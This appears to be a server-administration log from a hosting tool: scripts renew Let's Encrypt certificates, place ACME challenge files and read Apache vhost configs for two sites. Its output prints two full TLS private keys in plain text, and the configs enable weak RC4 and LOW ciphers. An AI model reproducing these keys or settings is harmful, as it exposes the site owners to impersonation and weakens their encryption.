        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	patientapps.co
    ServerAlias	www.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99.crt
    DocumentRoot	/var/www/patientapps_www/public
    <Directory /var/www/patientapps_www/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>







2026-03-24 06:00:51: 

PUT: /tmp/pkp158369

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-24 06:00:51: 

chmod 755 /tmp/pkp158369; /tmp/pkp158369; rm /tmp/pkp158369

2026-03-24 06:00:51: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99.crt	5365
60:24:a8:78:f3:d3:b0:17:a9:04:b2:90:0a:13:1e:52

-----BEGIN CERTIFICATE-----
MIIFCDCCA/CgAwIBAgISBrEq9+oZDWDvPvSG3wIcf/P6MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMzI0MDUwMjE4WhcNMjYwNjIyMDUwMjE3WjAZMRcwFQYDVQQD
Ew5wYXRpZW50YXBwcy5jbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
ANtjhgDvI/bIHykLmDUmnBWixvmkSMX4CKndO7Qqx/i65kq5xJrr40OPdETotgO2
yh1nGz11g5acBzY3jeaN31GTULSkgBIEwoMnQbc07oDb7nKVZnZFLa4VNmVJOGlF
QA2+U7xV4jLRq+bHpfO/z3OWsQNZfN+0XYK4lCBuso9dqOH4dDINHfm9503+lsZc
b1aPrvUNbPp+WevRfeFAdI/+6cr2/5pk5Do1ePRFLhTLYzSZ75MAVOYUec46dZUd
RByditodnK2EQHtuZLXLkLcJ6nHALEp6IFDfG5hluELwHGGKw7S7SS4cf9CuYcSD
v/sGNKxz9eeKrwu0MGiVegMCAwEAAaOCAi4wggIqMA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBQhIlEI
6TNJhjLVXH9FiDAIGc298jAfBgNVHSMEGDAWgBQAtSnyLY5vMeibTK14Pvrc6QzR
0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTIuaS5sZW5j
ci5vcmcvMCsGA1UdEQQkMCKCECoucGF0aWVudGFwcHMuY2+CDnBhdGllbnRhcHBz
LmNvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6
Ly9yMTIuYy5sZW5jci5vcmcvMTIzLmNybDCCAQsGCisGAQQB1nkCBAIEgfwEgfkA
9wB1AGQRxGykEuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJfc3wAAABnR5udjcAAAQD
AEYwRAIgJ2MT8MGIPrt72XT6HxHKl70Fx/taB1bxHUGajPWI/7wCIH/p+Dm/WqwD
x2lNsrKjz/9N0LfiD0XzeDl7rD5/j4PGAH4AGoudaUpXmMiZoMqIvfSPwLRWYMzD
YA0fcfRp/8fRrKMAAAGdHm53hAAIAAAFAFhUzYoEAwBHMEUCIGmY6AQ34kxM99vq
tQw7JakWXjOVIL5QJ8wbk9CY/YVsAiEA+tIqSZotVNfoGCVeZmYU6FBrd+IaDYoA
B6nG9AtvlS8wDQYJKoZIhvcNAQELBQADggEBAJruBOzWobhxqiPVkb3Z7riWGyqx
hqwEdMbhj6UUZnk2ZrxO1nV0iJzG9M/b/teKcE+qWFyoNpWpaPgb9zap6yBXBT3X
6otcQhfPy3t7vYL3AJw56HJMuSPaPEx9iCz21EZgvsKfl8p0lpJRVX5V0Q4GxrRk
D5q3TdMAMtErR0FpAyeWTjXYfkMAOxuM9ADfhN+g228XYg0wmtTEshrNOpL5+PXT
vkh+9S9rMxK/3W/LXeHx/Q1LI6GTSxupQyfYTHQkHbLd3mQ/KW6qDmufJbBX4U9n
lLE3vXZGJZVnjnuJbSNzefZWJZHWufmRz6gDVxIXayPQsNRL36+e+OFF4rs=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDbY4YA7yP2yB8p
C5g1JpwVosb5pEjF+Aip3Tu0Ksf4uuZKucSa6+NDj3RE6LYDtsodZxs9dYOWnAc2
N43mjd9Rk1C0pIASBMKDJ0G3NO6A2+5ylWZ2RS2uFTZlSThpRUANvlO8VeIy0avm
x6Xzv89zlrEDWXzftF2CuJQgbrKPXajh+HQyDR35vedN/pbGXG9Wj671DWz6flnr
0X3hQHSP/unK9v+aZOQ6NXj0RS4Uy2M0me+TAFTmFHnOOnWVHUQcnYraHZythEB7
bmS1y5C3CepxwCxKeiBQ3xuYZbhC8BxhisO0u0kuHH/QrmHEg7/7BjSsc/Xniq8L
tDBolXoDAgMBAAECggEAEF2Ta+AEj5T/t6qE9CupJ3c5Ei5OVdZAbzHXRLb13xJ+
7PWzbaSv4CS3Yg/Dl1gikG1WLt0Xr9VIngn1RkzKN+YEkAHyO8xD5k/rXj6CL1w4
pJUlS47liKYa1+HNmRMjya94KtINSaH/PMi8rG4s8rM71faHxit71+CE/2/1vS2Q
DktGIcGC9hgWVge3aVMNh5fEdhagV3JuNVe8c3O2btKSHLnrE8mIJCHLsLbHHhcC
XFtNiMZ4m0MEsm2iU48jHmRTr5JrbfLPQX8KEaBUBz3HM0RSg7oEOWoOgIs0m06u
OEuA8r4Ae+4IqBmHLJeN4a0YOCiWA/WazjJBd+AbwQKBgQD0UQtNde2xU9EV9yxQ
4gXhd0hyxyKw6p4ozwC42ucgrDRFXluJX7bmopnDkCXFrrdYqPx0ZyUHUDrn5xce
B486/C5hVgPjUqkNdHZmQwGEbYAadaKY7d6fWwdogqCVw96TUX1w095bWk65G9pU
sHOgxO1C1DGdbcJQ/rKE3dePCQKBgQDl4U9H/BwpQ91WUW+AMUosIESijJkWD/tg
a43GUvXR700V/Mv7kJwF1276QVlaUdEokrEHgRsdkg6w07Q0rbFgrxq5tmLLI7w4
X5M5sLSOAaQzt1AA8qK2MUsIHVjI159322NDIpqnru7XBCP5/YzJpV+ZuQyxt+LS
5agU1G43qwKBgEFeeda06e8bTQNCiiHuB8LGxqSnMVoCvGSQ1lGfiF3OlYHF+Fnu
OSLGeLvBksmssLPRKxL+EgM97TTlOOM5BJK0rLgwaoPlNwQ5mABOh1ZmcfMibGnc
o0ch9P56jPrlWGU0VYrdtU3eANg4YpdsStPGPPE3kzrbBjXjn+I69RT5AoGADZlf
nE2QyOwn2uRkaTwBPE0IYmlY4RI+97xFHddojWvPrp5O3un2IO5WtV1KUOqIKhNL
f7smhIBQeCt9/KPN239gYF4myAesKdWVmxMWC1SThy+v/u5bq9WMr8U0rGT9HRUQ
cTdJ2OOjY3ruOerC+mbbGff1hUnwlDNb1yeeAZMCgYBb4xmG4yEBqz/0DKjVjHZW
6gNKOEJTQDjk6Is1gKpFCNZwJNzt5WkPlmh/HKm/AjXxtTL3UyNpJGceIl6HyOq1
I53WsO+xrZrHgVsmkWN9KXQiFMQbCBiU7q3T2aDTu5dZyULK1XF2e+I10/P+wW6J
VnXy2bZNiqpPUZOGjxUHYw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-03-24 06:00:51: Establishing a connection
2026-03-24 06:00:51: Establishing a connection
2026-03-24 06:00:51: 

PUT: /tmp/pkp622661

#!/bin/bash
if [ -d "/var/www/patientapps_portal/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-03-24 06:00:52: 

chmod 755 /tmp/pkp622661; /tmp/pkp622661; rm /tmp/pkp622661

2026-03-24 06:00:52: 


0


2026-03-24 06:01:16: Establishing a connection
2026-03-24 06:01:16: Establishing a connection
2026-03-24 06:01:16: 

PUT: /tmp/pkp971675

#!/bin/bash
if [ -d "/var/www/hostz_condor/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-03-24 06:01:17: 

chmod 755 /tmp/pkp971675; /tmp/pkp971675; rm /tmp/pkp971675

2026-03-24 06:01:17: 


1


2026-03-24 06:01:17: Establishing a connection
2026-03-24 06:01:17: 

PUT: /tmp/pkp120845

#!/bin/bash
mkdir -p "/var/www/hostz_condor/.well-known/acme-challenge/"
cd "/var/www/hostz_condor/.well-known/acme-challenge/"
cat > FGZSr_mEn2CKxmcTh9C96F8peOn7H-TBhxvYBf7P4JA <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
FGZSr_mEn2CKxmcTh9C96F8peOn7H-TBhxvYBf7P4JA.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 FGZSr_mEn2CKxmcTh9C96F8peOn7H-TBhxvYBf7P4JA


2026-03-24 06:01:17: 

chmod 755 /tmp/pkp120845; /tmp/pkp120845; rm /tmp/pkp120845

2026-03-24 06:01:17: 




2026-03-24 06:01:24: Establishing a connection
2026-03-24 06:01:24: 

PUT: /tmp/pkp771513

#!/bin/bash
mkdir -p "/var/www/hostz_condor/.well-known/acme-challenge/"
cd "/var/www/hostz_condor/.well-known/acme-challenge/"
rm FGZSr_mEn2CKxmcTh9C96F8peOn7H-TBhxvYBf7P4JA


2026-03-24 06:01:24: 

chmod 755 /tmp/pkp771513; /tmp/pkp771513; rm /tmp/pkp771513

2026-03-24 06:01:24: 




2026-03-24 06:01:24: Establishing a connection
2026-03-24 06:01:24: 

PUT: /tmp/pkp935981

#!/bin/bash
temp_file=$(mktemp)
TARGET=452589c154b484450eedc2df554d68f3.crt

cat > $temp_file <<'endmsg'
02:c1:c9:1a:68:48:35:b3:d4:be:99:31:47:8f:26:ce

-----BEGIN CERTIFICATE-----
MIIE+DCCA+CgAwIBAgISBgdavnewEZ8D7d0+rq9cLOmWMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMzI0MDUwMjUyWhcNMjYwNjIyMDUwMjUxWjAbMRkwFwYDVQQD
ExBjb25kb3IuaG9zdHoub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEAqELqNMo1qy17wlvQq9EHKRLsSGDxqzEzy72zUrU4xgowCoqVr8gumdkqkMbB
UUR6yg/0I3wenRCeGGRYRxvU84hY/+q6IYLRA5mYFlizs1jkliv7xSBVUtznGJ+/
XDaaMUflT5qZvv/3CJmbUzm49/OmpV20Zhy1TQ4MoyFlObDiUUWk0PfFVgkeDgCb
fdbuSzxSBQo/TgTfATyrzbCVx6W/n2YtzGlDe+NoUe51V6LBn13AyB3m2FPYgWmc
+1cZBemOutlnObe0yw5pXTnmLSOQSm3mwkkHx8Yw3ZXD9p93NJUT5KnDDWIfxquK
ZZIJPXwAObj8hEsV25z73z8xKQIDAQABo4ICHDCCAhgwDgYDVR0PAQH/BAQDAgWg
MBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFDcb
r1klXAnGLNXXNLBnJPsJipIoMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg++tzp
DNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5pLmxl
bmNyLm9yZy8wGwYDVR0RBBQwEoIQY29uZG9yLmhvc3R6Lm9yZzATBgNVHSAEDDAK
MAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVuY3Iu
b3JnLzIzLmNybDCCAQoGCisGAQQB1nkCBAIEgfsEgfgA9gB1AA5XlLzzrqk+Mxss
mQez95Dfm8I9cTIl3SGpJaxhxU4hAAABnR5u+oQAAAQDAEYwRAIgO5Jwd/PsxuMl
dE/WOYF82+ChYjDsqsui7IKlXKNQpnMCIErDT2oqK3rXIS6TJ0U2kguxBCCRelFf
QGml8WBkeGv7AH0AqCbL4wrGNRJGUz/gZfFPGdluGQgTxB3ZbXkAsxI8VScAAAGd
Hm79KgAIAAAFAAQZAPMEAwBGMEQCICjqrqJRx2SE4uP8KY5zi7Q3MDJ4T9cn39s7
UmmTMUTaAiAantjRkVmJaEGCtDa8OFGA3X/RSGK0grGBleY9UeLVuzANBgkqhkiG
9w0BAQsFAAOCAQEA1FX+ZBu65StzhD3QDH7lfCzmaqFekTRiBKDrF7GRhmyQXN2K
Fi91sl3WQmQ5UOjx5jvhRmjSs/eTvzM1oO3wP3YZL87A468lwD5eA3BbpBqrMV87
Hl99JNQ4SYTP1q0SqXQ3u3YzDeXEkQJk55HLvF3TiDD936WR0XX7XdH1CVsUieKl
bUDZcwoPEmjMeSJ3C4rJMVGbg51j+npVaEAoGKAXQyAVGYQ5tTiGtCX+OAKvGpoa
o8cBw854TOn0OyCsVT2cdpTDgiSWlH7/6sRgjZKH2LTslrcCcGfFibduaHsYKEZt
wZC9LI5zzkWyEhxg+u7dMGHz8OTirYzId9TlRQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCoQuo0yjWrLXvC
W9Cr0QcpEuxIYPGrMTPLvbNStTjGCjAKipWvyC6Z2SqQxsFRRHrKD/QjfB6dEJ4Y
ZFhHG9TziFj/6rohgtEDmZgWWLOzWOSWK/vFIFVS3OcYn79cNpoxR+VPmpm+//cI
mZtTObj386alXbRmHLVNDgyjIWU5sOJRRaTQ98VWCR4OAJt91u5LPFIFCj9OBN8B
PKvNsJXHpb+fZi3MaUN742hR7nVXosGfXcDIHebYU9iBaZz7VxkF6Y662Wc5t7TL
DmldOeYtI5BKbebCSQfHxjDdlcP2n3c0lRPkqcMNYh/Gq4plkgk9fAA5uPyESxXb
nPvfPzEpAgMBAAECggEAAt0Qq1FS/yoeVGfHnK+equjy3dB4jGyhRbMMHY45UcrT
7SSqo3veqdOeUSnGGcyhN6sfK94YOfK8c2HRzB6seHCLmIoKx43jDL1NGfmXJVLl
S6uin0Tg7ttqO2sMkKnaj0LP+OjX+6jThXFHyW95YbmNznv9GU0dG3Cab8meYBBG
2Uh0GDdtRXKP+b3lpUSTg/MlKsak+a6txrObIXWuXaaFPEsW2z2VQN4lMspr/GaA
0I+MTEPx+qgivLqhJB+nB9VaulJAnGBS1vjY0OlUR2BcU/PAK+9VhsGEqUJasMex
58QyPbz4JFr6rH1lw8xBSS4Kx9LWYTJGkEf3QP4Q+QKBgQDP1wMt0xM4iObus7xv
s5xhwNYdG/tJ7srbacmEh0r4uUfN1fDPNcABGHtL8JjcxU0HFckCeVSNm/aFFkP4
XIU+TjvpkJa0QEvFv60fx4dxuYH1DJjjpij4/xFhgo6cjN9IWfpt97wKTKKKPhbx
5o4HnxjAVq6nbexHGCM/W4PnZwKBgQDPQB6l97qWZNAlfVY2/7v51ACm7WLepnWp
mxxuLxrT1k/RAdkG1UxDgk0qFw31Q+CLKdx3Cz/hvkA9CEoXXUx2m72VU1m+dZx3
stquBTbZSC4lMUQ6a/YZ7wb2MmXiS11UKTt4CPWNmorczxsKX6RtUghdmnG56zjC
2nW2LIOY7wKBgQDA7aLqz6tg6FwNqlQ6EC0S5LEcllPeHka6A+nnFrt2RG8t1/FQ
N2HC4pnZNT6AeLl24TcVD9F4HhVpFvEDQ8b/vhmJRwlNyv1LVBD9lfbZj0zeTtJB
R4VzFTpqHIoLMg02GSgJGlS37slWsCoWZGDlHD8ak5xOmRAiMnrNnkLD8wKBgQCv
IjsD+xy0vEpcc9boMSFTE4Ddjtqu1bG2enoC7lFYU9EtCMeyC4sfvTuh5suHyC02
zFAeVOZNyCyWpqudpNzZmfASANZkqRRo3j4HMibQZDuCeGh0igj0j1WttJb+LLuY
RCOZ4tBGMiNIRsdN89aJ/vlMyBd0ib50gpFYObOXBwKBgFBoZUavZBOu46g6KuZl
Y4UpNBPyQacMSvWY2I17gTixFPpQmpd1xFIRiNCKOdTrBNte6NRcbJbpITYWktQh
FHT0zm65eHSi+FcKn9BOzORmep86D3DemcWrEgdok+c15mquYsKiYg3l8hi0HLgm
YHhe/NyzMRyYr/xZ5ihjR3I3
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-03-24 06:01:24: 

chmod 755 /tmp/pkp935981; /tmp/pkp935981; rm /tmp/pkp935981

2026-03-24 06:01:24: 


dir=/etc/ssl/certs


2026-03-24 06:01:24: 

PUT: /tmp/pkp917154

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hostz_condor_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-24 06:01:24: 

chmod 755 /tmp/pkp917154; /tmp/pkp917154; rm /tmp/pkp917154

2026-03-24 06:01:24: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_condor_org.conf 40

<VirtualHost *:80>
    ServerName	condor.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_condor
    <Directory /var/www/hostz_condor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/condor_access.log combined
    ErrorLog	/var/log/apache2/hostz/condor_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	condor.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/452589c154b484450eedc2df554d68f3.crt
    DocumentRoot	/var/www/hostz_condor
    <Directory /var/www/hostz_condor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_condor/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/condor_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/condor_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-03-24 06:01:24: 

PUT: /tmp/pkp382791

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hostz_condor_org.conf
TARGET=/etc/apache2/sites-enabled/hostz_condor_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	condor.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_condor
    <Directory /var/www/hostz_condor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/condor_access.log combined
    ErrorLog	/var/log/apache2/hostz/condor_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	condor.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/452589c154b484450eedc2df554d68f3.crt
    DocumentRoot	/var/www/hostz_condor
    <Directory /var/www/hostz_condor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
